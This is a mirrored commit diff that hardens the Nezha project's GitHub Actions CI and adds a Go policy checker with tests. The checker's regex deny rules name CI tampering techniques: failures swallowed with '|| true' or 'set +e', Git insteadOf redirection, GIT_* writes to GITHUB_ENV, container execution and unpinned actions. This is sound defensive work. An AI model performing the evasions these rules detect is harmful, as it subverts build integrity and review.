mirror of
https://github.com/Buriburizaem0n/nezha_domains.git
synced 2026-09-19 09:40:12 +00:00
ci: require agentcompat stress validation
Co-authored-by: naiba/CloudCode <hi+cloudcode@nai.ba>
This commit is contained in:
+109
-23
@@ -2,51 +2,137 @@ name: Run Tests
|
||||
|
||||
on:
|
||||
push:
|
||||
paths:
|
||||
- "**.go"
|
||||
- "go.mod"
|
||||
- "go.sum"
|
||||
- "resource/**"
|
||||
- ".github/workflows/test.yml"
|
||||
branches:
|
||||
- master
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
merge_group:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: nezha-quality-${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
tests:
|
||||
name: Ordinary tests and build (${{ matrix.os }})
|
||||
strategy:
|
||||
fail-fast: true
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu, windows, macos]
|
||||
|
||||
runs-on: ${{ matrix.os }}-latest
|
||||
env:
|
||||
GO111MODULE: on
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
|
||||
- uses: actions/setup-go@v6
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
|
||||
with:
|
||||
go-version: "1.26.x"
|
||||
cache: false
|
||||
|
||||
- name: generate swagger docs
|
||||
- name: Generate Swagger docs
|
||||
run: |
|
||||
go install github.com/swaggo/swag/cmd/swag@latest
|
||||
go install github.com/swaggo/swag/cmd/swag@v1.16.6
|
||||
touch ./cmd/dashboard/user-dist/a
|
||||
touch ./cmd/dashboard/admin-dist/a
|
||||
swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs
|
||||
|
||||
- name: Unit test
|
||||
run: |
|
||||
go test -v ./...
|
||||
run: go test -mod=readonly -count=1 ./...
|
||||
|
||||
- name: Build test
|
||||
- name: Build dashboard
|
||||
run: go build -v ./cmd/dashboard
|
||||
|
||||
linux-race-quality:
|
||||
name: Linux race and quality
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
|
||||
with:
|
||||
go-version: "1.26.x"
|
||||
cache: false
|
||||
|
||||
- name: Generate Swagger docs
|
||||
run: |
|
||||
go install github.com/swaggo/swag/cmd/swag@v1.16.6
|
||||
touch ./cmd/dashboard/user-dist/a
|
||||
touch ./cmd/dashboard/admin-dist/a
|
||||
swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs
|
||||
|
||||
- name: Race and shuffle tests
|
||||
run: go test -mod=readonly -race -shuffle=on -count=1 ./...
|
||||
|
||||
- name: Vet
|
||||
run: go vet ./...
|
||||
|
||||
- name: Check formatting
|
||||
shell: bash
|
||||
run: test -z "$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)"
|
||||
|
||||
- name: Build dashboard
|
||||
run: go build ./cmd/dashboard
|
||||
|
||||
- name: Run Gosec Security Scanner
|
||||
if: runner.os == 'Linux'
|
||||
uses: securego/gosec@master
|
||||
shell: bash
|
||||
env:
|
||||
GOTOOLCHAIN: auto
|
||||
run: |
|
||||
go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1
|
||||
gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./...
|
||||
|
||||
agentcompat-stress:
|
||||
name: Linux agent compatibility stress
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 75
|
||||
steps:
|
||||
- name: Checkout Nezha revision
|
||||
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
args: --exclude=G104,G115,G117,G203,G402,G703,G704 ./...
|
||||
path: nezha
|
||||
persist-credentials: false
|
||||
- name: Checkout pinned Agent revision
|
||||
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: nezhahq/agent
|
||||
ref: 667e1dd5e166ffef808ec26dc20de85bc33a0a0f
|
||||
path: agent
|
||||
persist-credentials: false
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
|
||||
with:
|
||||
go-version: "1.26.x"
|
||||
cache: false
|
||||
- name: Require named stress test
|
||||
working-directory: nezha
|
||||
run: go test -mod=readonly -tags=agentcompat -list '^TestStressPRFullEightAgentExactlyOnce$' ./integration/agentcompat/internal/scenario | grep -Fx 'TestStressPRFullEightAgentExactlyOnce'
|
||||
- name: Run PR-full agent compatibility stress
|
||||
working-directory: nezha
|
||||
env:
|
||||
AGENTCOMPAT_NEZHA_SOURCE: ${{ github.workspace }}/nezha
|
||||
AGENTCOMPAT_AGENT_SOURCE: ${{ github.workspace }}/agent
|
||||
run: go test -mod=readonly -tags=agentcompat -run '^TestStressPRFullEightAgentExactlyOnce$' -count=1 -v ./integration/agentcompat/internal/scenario
|
||||
|
||||
nezha-quality-required:
|
||||
name: nezha-quality-required
|
||||
if: ${{ always() }}
|
||||
needs:
|
||||
- tests
|
||||
- linux-race-quality
|
||||
- agentcompat-stress
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- name: Require all blocking jobs to pass
|
||||
shell: bash
|
||||
run: |
|
||||
test "${{ needs.tests.result }}" = success
|
||||
test "${{ needs.linux-race-quality.result }}" = success
|
||||
test "${{ needs.agentcompat-stress.result }}" = success
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
|
||||
)
|
||||
|
||||
func TestPolicy_RejectsAdversarialExecutionForms(t *testing.T) {
|
||||
tests := []struct {
|
||||
fixture string
|
||||
rule workflowpolicy.Rule
|
||||
diagnostic string
|
||||
}{
|
||||
{fixture: "swallowed-semicolon-true.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"},
|
||||
{fixture: "swallowed-semicolon-colon.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"},
|
||||
{fixture: "swallowed-trap-exit.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"},
|
||||
{fixture: "git-config-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"},
|
||||
{fixture: "git-url-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"},
|
||||
{fixture: "relative-workspace-executable.yml", rule: workflowpolicy.RuleReusableExecutable, diagnostic: "workspace"},
|
||||
{fixture: "container-runtime-alias.yml", rule: workflowpolicy.RuleContainerizedExecution, diagnostic: "container"},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.fixture, func(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected(test.fixture, test.rule, test.diagnostic))
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
//go:build agentcompat
|
||||
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
|
||||
"github.com/stretchr/testify/require"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
type agentQualityWorkflow struct {
|
||||
Triggers map[string]agentQualityTrigger `yaml:"on"`
|
||||
Jobs map[string]agentQualityJob `yaml:"jobs"`
|
||||
}
|
||||
|
||||
type agentQualityTrigger struct {
|
||||
Branches []string `yaml:"branches"`
|
||||
Paths []string `yaml:"paths"`
|
||||
PathsIgnore []string `yaml:"paths-ignore"`
|
||||
}
|
||||
|
||||
type agentQualityJob struct {
|
||||
Name string `yaml:"name"`
|
||||
Needs []string `yaml:"needs"`
|
||||
Condition string `yaml:"if"`
|
||||
Runner string `yaml:"runs-on"`
|
||||
Strategy agentQualityStrategy `yaml:"strategy"`
|
||||
Steps []agentQualityStep `yaml:"steps"`
|
||||
}
|
||||
|
||||
type agentQualityStrategy struct {
|
||||
Matrix agentQualityMatrix `yaml:"matrix"`
|
||||
}
|
||||
|
||||
type agentQualityMatrix struct {
|
||||
OperatingSystems []string `yaml:"os"`
|
||||
}
|
||||
|
||||
type agentQualityStep struct {
|
||||
Run string `yaml:"run"`
|
||||
}
|
||||
|
||||
func TestPolicy_AgentQualityWorkflow(t *testing.T) {
|
||||
// Given
|
||||
path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml")
|
||||
data, err := os.ReadFile(path)
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryAgent))
|
||||
var workflow agentQualityWorkflow
|
||||
require.NoError(t, yaml.Unmarshal(data, &workflow))
|
||||
|
||||
// When
|
||||
ordinaryJob, hasOrdinaryJob := workflow.Jobs["tests"]
|
||||
qualityJob, hasQualityJob := workflow.Jobs["linux-race-quality"]
|
||||
stressJob, hasStressJob := workflow.Jobs["agentcompat-stress"]
|
||||
aggregator, hasAggregator := workflow.Jobs["agent-quality-required"]
|
||||
|
||||
// Then
|
||||
require.True(t, hasOrdinaryJob)
|
||||
require.True(t, hasQualityJob)
|
||||
require.True(t, hasStressJob)
|
||||
require.True(t, hasAggregator)
|
||||
require.Len(t, workflow.Jobs, 4)
|
||||
require.Equal(t, []string{"main"}, workflow.Triggers["push"].Branches)
|
||||
require.Equal(t, []string{"main"}, workflow.Triggers["pull_request"].Branches)
|
||||
require.Contains(t, workflow.Triggers, "merge_group")
|
||||
for _, trigger := range workflow.Triggers {
|
||||
require.Empty(t, trigger.Paths)
|
||||
require.Empty(t, trigger.PathsIgnore)
|
||||
}
|
||||
require.ElementsMatch(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OperatingSystems)
|
||||
requireWorkflowCommands(t, ordinaryJob.Steps, "go test -mod=readonly -count=1 ./...")
|
||||
require.Equal(t, "ubuntu-24.04", qualityJob.Runner)
|
||||
requireWorkflowCommands(t, qualityJob.Steps,
|
||||
"go test -mod=readonly -race -shuffle=on -count=1 ./...",
|
||||
"go vet ./...",
|
||||
"test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"",
|
||||
"go build ./cmd/agent",
|
||||
)
|
||||
require.NotEmpty(t, stressJob)
|
||||
require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, aggregator.Needs)
|
||||
require.Equal(t, "agent-quality-required", aggregator.Name)
|
||||
require.Equal(t, "${{ always() }}", aggregator.Condition)
|
||||
requireWorkflowCommands(t, aggregator.Steps,
|
||||
"test \"${{ needs.tests.result }}\" = success\ntest \"${{ needs.linux-race-quality.result }}\" = success\ntest \"${{ needs.agentcompat-stress.result }}\" = success\n",
|
||||
)
|
||||
}
|
||||
|
||||
func requireWorkflowCommands(t *testing.T, steps []agentQualityStep, commands ...string) {
|
||||
t.Helper()
|
||||
actualCommands := make([]string, 0, len(steps))
|
||||
for _, step := range steps {
|
||||
if step.Run != "" {
|
||||
actualCommands = append(actualCommands, step.Run)
|
||||
}
|
||||
}
|
||||
require.ElementsMatch(t, commands, actualCommands)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
//go:build agentcompat
|
||||
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const agentWorkflowStressTestName = "TestStressPRFullEightAgentExactlyOnce"
|
||||
|
||||
var fullCommitSHA = regexp.MustCompile(`^[0-9a-f]{40}$`)
|
||||
|
||||
func TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) {
|
||||
// Given
|
||||
path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml")
|
||||
data, err := os.ReadFile(path)
|
||||
require.NoError(t, err)
|
||||
var workflow qualityWorkflow
|
||||
require.NoError(t, yaml.Unmarshal(data, &workflow))
|
||||
|
||||
// When
|
||||
stressJob, exists := workflow.Jobs["agentcompat-stress"]
|
||||
|
||||
// Then
|
||||
require.True(t, exists)
|
||||
require.Equal(t, "Linux agent compatibility stress", stressJob.Name)
|
||||
require.Equal(t, "ubuntu-24.04", stressJob.RunsOn)
|
||||
require.Equal(t, 75, stressJob.TimeoutMinutes)
|
||||
require.Len(t, stressJob.Steps, 6)
|
||||
|
||||
agentCheckout := stressJob.stepNamed(t, "Checkout Agent revision")
|
||||
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", agentCheckout.Uses)
|
||||
require.Empty(t, agentCheckout.With.Repository)
|
||||
require.Empty(t, agentCheckout.With.Ref)
|
||||
require.Equal(t, "agent", agentCheckout.With.Path)
|
||||
require.False(t, *agentCheckout.With.PersistCredentials)
|
||||
|
||||
nezhaCheckout := stressJob.stepNamed(t, "Checkout pinned Nezha revision")
|
||||
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", nezhaCheckout.Uses)
|
||||
require.Equal(t, "nezhahq/nezha", nezhaCheckout.With.Repository)
|
||||
require.Regexp(t, fullCommitSHA, nezhaCheckout.With.Ref)
|
||||
require.Equal(t, "nezha", nezhaCheckout.With.Path)
|
||||
require.False(t, *nezhaCheckout.With.PersistCredentials)
|
||||
|
||||
setupGo := stressJob.stepNamed(t, "Set up Go")
|
||||
require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses)
|
||||
require.Equal(t, "^1.26.1", setupGo.With.GoVersion)
|
||||
require.False(t, *setupGo.With.Cache)
|
||||
|
||||
policyStep := stressJob.stepNamed(t, "Require Agent workflow policy tests")
|
||||
require.Equal(t, "nezha", policyStep.WorkingDirectory)
|
||||
require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentQualityWorkflow$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentQualityWorkflow'\ngo test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest'\ngo test -mod=readonly -tags=agentcompat -run '^(TestPolicy_AgentQualityWorkflow|TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest)$' -count=1 ./integration/agentcompat/internal/workflowpolicy\n", policyStep.Run)
|
||||
|
||||
listStep := stressJob.stepNamed(t, "Require named stress test")
|
||||
require.Equal(t, "nezha", listStep.WorkingDirectory)
|
||||
require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentWorkflowStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentWorkflowStressTestName+"'", listStep.Run)
|
||||
|
||||
runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress")
|
||||
require.Equal(t, "nezha", runStep.WorkingDirectory)
|
||||
require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource)
|
||||
require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource)
|
||||
require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentWorkflowStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run)
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const redactedArtifactPath = "${{ runner.temp }}/nezha-agentcompat-redacted"
|
||||
const redactionCommand = `go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"`
|
||||
|
||||
func (c *checker) isRedactionStep(step *yaml.Node) bool {
|
||||
run, hasRun := mappingValue(step, "run")
|
||||
if !hasRun || run.Kind != yaml.ScalarNode {
|
||||
return false
|
||||
}
|
||||
if strings.TrimSpace(run.Value) != redactionCommand {
|
||||
return false
|
||||
}
|
||||
condition, hasCondition := mappingValue(step, "if")
|
||||
if !hasCondition || strings.TrimSpace(condition.Value) != "always()" {
|
||||
return false
|
||||
}
|
||||
for _, key := range []string{"name", "id"} {
|
||||
value, exists := mappingValue(step, key)
|
||||
if exists && strings.Contains(strings.ToLower(value.Value), "redact") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *checker) checkArtifactUpload(path string, step *yaml.Node, redactionComplete bool) {
|
||||
if !redactionComplete {
|
||||
c.reject(RuleArtifactRedaction, at(path+".uses", step), "artifact upload must immediately follow a redaction step with if: always()")
|
||||
}
|
||||
condition, hasCondition := mappingValue(step, "if")
|
||||
if !hasCondition || strings.TrimSpace(condition.Value) != "always()" {
|
||||
c.reject(RuleArtifactRedaction, at(path+".if", step), "artifact upload requires if: always()")
|
||||
}
|
||||
with, exists := mappingValue(step, "with")
|
||||
artifactPath, hasPath := mappingValue(with, "path")
|
||||
if !exists || !hasPath || !redactedArtifactPaths(artifactPath.Value) {
|
||||
node := step
|
||||
if hasPath {
|
||||
node = artifactPath
|
||||
}
|
||||
c.reject(RuleArtifactRedaction, at(path+".with.path", node), "artifact path must reference redacted output")
|
||||
}
|
||||
}
|
||||
|
||||
func redactedArtifactPaths(raw string) bool {
|
||||
return strings.TrimSpace(raw) == redactedArtifactPath
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func (c *checker) checkCheckout(path string, step *yaml.Node, validatedResolvers map[string]Repository) {
|
||||
with, exists := mappingValue(step, "with")
|
||||
if !exists || with.Kind != yaml.MappingNode {
|
||||
c.reject(RulePersistCredentials, at(path+".with.persist-credentials", step), "checkout requires persist-credentials: false")
|
||||
return
|
||||
}
|
||||
persistCredentials, exists := mappingValue(with, "persist-credentials")
|
||||
if !exists || !explicitFalse(persistCredentials) {
|
||||
node := with
|
||||
if exists {
|
||||
node = persistCredentials
|
||||
}
|
||||
c.reject(RulePersistCredentials, at(path+".with.persist-credentials", node), "checkout requires persist-credentials: false as a boolean")
|
||||
}
|
||||
repositoryNode, exists := mappingValue(with, "repository")
|
||||
if !exists {
|
||||
return
|
||||
}
|
||||
repository, literal := scalarString(repositoryNode)
|
||||
if !literal || strings.Contains(repository, "${{") {
|
||||
c.reject(RuleRepositoryNotLiteral, at(path+".with.repository", repositoryNode), "checkout repository must be a literal")
|
||||
return
|
||||
}
|
||||
if repository != string(RepositoryAgent) && repository != string(RepositoryNezha) {
|
||||
detail := fmt.Sprintf("repository %q is not allowed; only nezhahq/agent and nezhahq/nezha are allowed", repository)
|
||||
c.reject(RuleRepositoryNotAllowed, at(path+".with.repository", repositoryNode), detail)
|
||||
return
|
||||
}
|
||||
ref, exists := mappingValue(with, "ref")
|
||||
refValue, literal := scalarString(ref)
|
||||
if exists && literal && fullCommitPattern.MatchString(refValue) {
|
||||
return
|
||||
}
|
||||
if repository == string(c.repository) && !exists {
|
||||
return
|
||||
}
|
||||
if exists && literal {
|
||||
match := resolvedRefPattern.FindStringSubmatch(refValue)
|
||||
if len(match) == 2 && validatedResolvers[match[1]] == Repository(repository) {
|
||||
return
|
||||
}
|
||||
}
|
||||
node := repositoryNode
|
||||
if exists {
|
||||
node = ref
|
||||
}
|
||||
detail := "other-repository checkout ref must be a literal 40-hex commit SHA or a validated resolver sha output"
|
||||
c.reject(RuleOtherRepositoryRef, at(path+".with.ref", node), detail)
|
||||
}
|
||||
|
||||
func (c *checker) checkCacheInputs(path string, step *yaml.Node) {
|
||||
with, exists := mappingValue(step, "with")
|
||||
if !exists {
|
||||
return
|
||||
}
|
||||
for _, key := range []string{"cache", "cache-dependency-path"} {
|
||||
value, present := mappingValue(with, key)
|
||||
if present && !explicitFalse(value) {
|
||||
detail := fmt.Sprintf("dependency or executable cache input %s is forbidden", key)
|
||||
c.reject(RuleReusableExecutable, at(path+".with."+key, value), detail)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
var (
|
||||
fullCommitPattern = regexp.MustCompile(`^[0-9a-fA-F]{40}$`)
|
||||
dockerCommandPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*|\s)(?:(?:sudo|env)\s+)?(?:/[^\s]+/)?(?:docker|podman|nerdctl|containerd|buildah|runc|crictl)(?:\s|$)`)
|
||||
gitHubEnvironmentPattern = regexp.MustCompile(`(?is)GIT_[A-Za-z0-9_]*.*GITHUB_ENV|GITHUB_ENV.*GIT_[A-Za-z0-9_]*`)
|
||||
swallowedFailurePattern = regexp.MustCompile(`(?mi)(?:\|\|\s*(?:true|:|echo\b|printf\b|exit\s+0\b))|(?:^|[;&]\s*)set\s+\+(?:e|o\s+errexit)(?:\s|;|$)|(?:^|[;&]\s*)if\s+|(?:\b(?:bash|sh)\s+-c\b)|(?:^|[;&]\s*)trap\b[^\n]*\bexit\s+0\b|(?:[;&]\s*)(?:true|:)\s*(?:;|$)`)
|
||||
workspaceCommandPattern = regexp.MustCompile(`(?mi)(?:\$\{\{\s*github\.workspace\s*\}\}|\$GITHUB_WORKSPACE|\$\{GITHUB_WORKSPACE\})(?:/|\\)|(?:^|[;&|]\s*)(?:sudo\s+)?(?:\.\.?/|[A-Za-z0-9_.-]+/)[^\s;&|]+`)
|
||||
gitRepositoryCommand = regexp.MustCompile(`(?m)(?:^|[;&|]\s*|\s)(?:(?:sudo|command|env)\s+)?(?:/usr/bin/)?git\b[^\n]*(?:clone|ls-remote)\b`)
|
||||
gitConfigurationPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*)(?:sudo\s+)?git(?:\s+-c\s+url\.[^\s]+\.insteadOf=\S+|\s+config\b)`)
|
||||
)
|
||||
|
||||
func (c *checker) checkJob(name string, job *yaml.Node) {
|
||||
path := "$.jobs." + name
|
||||
timeout, exists := mappingValue(job, "timeout-minutes")
|
||||
if !exists || !positiveInteger(timeout) {
|
||||
node := job
|
||||
if exists {
|
||||
node = timeout
|
||||
}
|
||||
c.reject(RuleMissingJobTimeout, at(path+".timeout-minutes", node), "job timeout-minutes must be a positive literal")
|
||||
}
|
||||
c.checkRunner(path, job)
|
||||
if container, exists := mappingValue(job, "container"); exists {
|
||||
c.reject(RuleContainerizedExecution, at(path+".container", container), "job containers are forbidden")
|
||||
}
|
||||
if services, exists := mappingValue(job, "services"); exists {
|
||||
c.reject(RuleContainerizedExecution, at(path+".services", services), "service containers are forbidden")
|
||||
}
|
||||
c.checkPermissions(job, path+".permissions", false)
|
||||
c.checkContinueOnError(job, path)
|
||||
if reusableWorkflow, exists := mappingValue(job, "uses"); exists {
|
||||
c.reject(RuleReusableExecutable, at(path+".uses", reusableWorkflow), "job-level reusable workflows are forbidden")
|
||||
return
|
||||
}
|
||||
steps, exists := mappingValue(job, "steps")
|
||||
if !exists {
|
||||
c.reject(RuleWorkflowStructure, at(path+".steps", job), "workflow jobs must define steps")
|
||||
return
|
||||
}
|
||||
if steps.Kind != yaml.SequenceNode {
|
||||
c.reject(RuleWorkflowStructure, at(path+".steps", steps), "workflow steps must be a sequence")
|
||||
return
|
||||
}
|
||||
c.checkSteps(path, steps)
|
||||
}
|
||||
|
||||
func (c *checker) checkSteps(jobPath string, steps *yaml.Node) {
|
||||
redactionReady := false
|
||||
validatedResolvers := make(map[string]Repository)
|
||||
for index, step := range steps.Content {
|
||||
path := jobPath + ".steps[" + strconv.Itoa(index) + "]"
|
||||
if step.Kind != yaml.MappingNode {
|
||||
c.reject(RuleWorkflowStructure, at(path, step), "workflow step must be a mapping")
|
||||
redactionReady = false
|
||||
continue
|
||||
}
|
||||
uses, hasUses := mappingValue(step, "uses")
|
||||
run, hasRun := mappingValue(step, "run")
|
||||
if !hasUses && !hasRun {
|
||||
c.reject(RuleWorkflowStructure, at(path, step), "workflow step must define a nonempty uses or run")
|
||||
redactionReady = false
|
||||
continue
|
||||
}
|
||||
if hasUses && (uses.Kind != yaml.ScalarNode || uses.Tag != "!!str" || strings.TrimSpace(uses.Value) == "") {
|
||||
c.reject(RuleWorkflowStructure, at(path+".uses", uses), "step uses must be a string action reference")
|
||||
}
|
||||
if hasRun && (run.Kind != yaml.ScalarNode || run.Tag != "!!str" || strings.TrimSpace(run.Value) == "") {
|
||||
c.reject(RuleWorkflowStructure, at(path+".run", run), "step run must be a scalar shell command")
|
||||
}
|
||||
c.checkContinueOnError(step, path)
|
||||
resolver, validResolver := validatedRefResolver(step)
|
||||
if hasRun {
|
||||
c.checkRun(path+".run", run, validResolver)
|
||||
}
|
||||
if validResolver {
|
||||
validatedResolvers[resolver.id] = resolver.repository
|
||||
}
|
||||
if hasUses {
|
||||
c.checkUses(path, step, stepCheckState{redactionComplete: redactionReady, validatedResolvers: validatedResolvers})
|
||||
redactionReady = false
|
||||
continue
|
||||
}
|
||||
redactionReady = c.isRedactionStep(step)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *checker) checkContinueOnError(mapping *yaml.Node, path string) {
|
||||
value, exists := mappingValue(mapping, "continue-on-error")
|
||||
if exists && !explicitFalse(value) {
|
||||
c.reject(RuleContinueOnError, at(path+".continue-on-error", value), "continue-on-error must not enable failure suppression")
|
||||
}
|
||||
}
|
||||
|
||||
func (c *checker) checkRun(path string, run *yaml.Node, validatedResolver bool) {
|
||||
command, exists := scalarString(run)
|
||||
if !exists {
|
||||
return
|
||||
}
|
||||
if dockerCommandPattern.MatchString(command) {
|
||||
c.reject(RuleContainerizedExecution, at(path, run), "docker execution is forbidden")
|
||||
}
|
||||
if swallowedFailurePattern.MatchString(command) {
|
||||
c.reject(RuleSwallowedFailure, at(path, run), "shell failure is swallowed by || true or another ignored fallback, exit 0, or disabled errexit")
|
||||
}
|
||||
if workspaceCommandPattern.MatchString(command) {
|
||||
c.reject(RuleReusableExecutable, at(path, run), "executing a binary from the GitHub workspace is forbidden")
|
||||
}
|
||||
if gitHubEnvironmentPattern.MatchString(command) {
|
||||
c.reject(RuleRepositoryNotLiteral, at(path, run), "writing GIT_* configuration through GITHUB_ENV is forbidden")
|
||||
}
|
||||
if gitConfigurationPattern.MatchString(command) {
|
||||
c.reject(RuleRepositoryNotLiteral, at(path, run), "Git configuration mutation is forbidden")
|
||||
}
|
||||
if gitRepositoryCommand.MatchString(command) && !validatedResolver {
|
||||
rule := RuleRepositoryNotLiteral
|
||||
detail := fmt.Sprintf("git repository operation %q is allowed only in the validated resolver", strings.TrimSpace(command))
|
||||
if !strings.Contains(command, "$") {
|
||||
rule = RuleRepositoryNotAllowed
|
||||
detail = fmt.Sprintf("repository operation %q is forbidden outside the validated resolver", strings.TrimSpace(command))
|
||||
}
|
||||
c.reject(rule, at(path, run), detail)
|
||||
}
|
||||
}
|
||||
|
||||
type stepCheckState struct {
|
||||
redactionComplete bool
|
||||
validatedResolvers map[string]Repository
|
||||
}
|
||||
|
||||
func (c *checker) checkUses(path string, step *yaml.Node, state stepCheckState) {
|
||||
uses, exists := mappingValue(step, "uses")
|
||||
if !exists {
|
||||
return
|
||||
}
|
||||
action, literal := scalarString(uses)
|
||||
if !literal {
|
||||
return
|
||||
}
|
||||
if strings.Contains(action, "${{") {
|
||||
c.reject(RuleRepositoryNotLiteral, at(path+".uses", uses), "action reference must be literal")
|
||||
return
|
||||
}
|
||||
lowerAction := strings.ToLower(action)
|
||||
if strings.HasPrefix(lowerAction, "docker://") {
|
||||
c.reject(RuleContainerizedExecution, at(path+".uses", uses), "Docker actions are forbidden")
|
||||
return
|
||||
}
|
||||
if strings.HasPrefix(lowerAction, "./") {
|
||||
c.reject(RuleReusableExecutable, at(path+".uses", uses), "local action reuse from the workspace is forbidden")
|
||||
return
|
||||
}
|
||||
actionRepository, _, found := strings.Cut(lowerAction, "@")
|
||||
switch actionRepository {
|
||||
case "actions/cache", "actions/cache/restore", "actions/cache/save", "actions/download-artifact":
|
||||
c.reject(RuleReusableExecutable, at(path+".uses", uses), fmt.Sprintf("cache or artifact reuse action %q is forbidden", actionRepository))
|
||||
return
|
||||
}
|
||||
if !found {
|
||||
c.reject(RuleOtherRepositoryRef, at(path+".uses", uses), "action must use its approved immutable SHA")
|
||||
return
|
||||
}
|
||||
approvedRepository, _, pinned := approvedAction(action)
|
||||
if approvedRepository == "" {
|
||||
c.reject(RuleRepositoryNotAllowed, at(path+".uses", uses), "action repository is not approved")
|
||||
return
|
||||
}
|
||||
if !pinned {
|
||||
c.reject(RuleOtherRepositoryRef, at(path+".uses", uses), "action must use its approved immutable SHA")
|
||||
return
|
||||
}
|
||||
switch approvedRepository {
|
||||
case "actions/checkout":
|
||||
c.checkCheckout(path, step, state.validatedResolvers)
|
||||
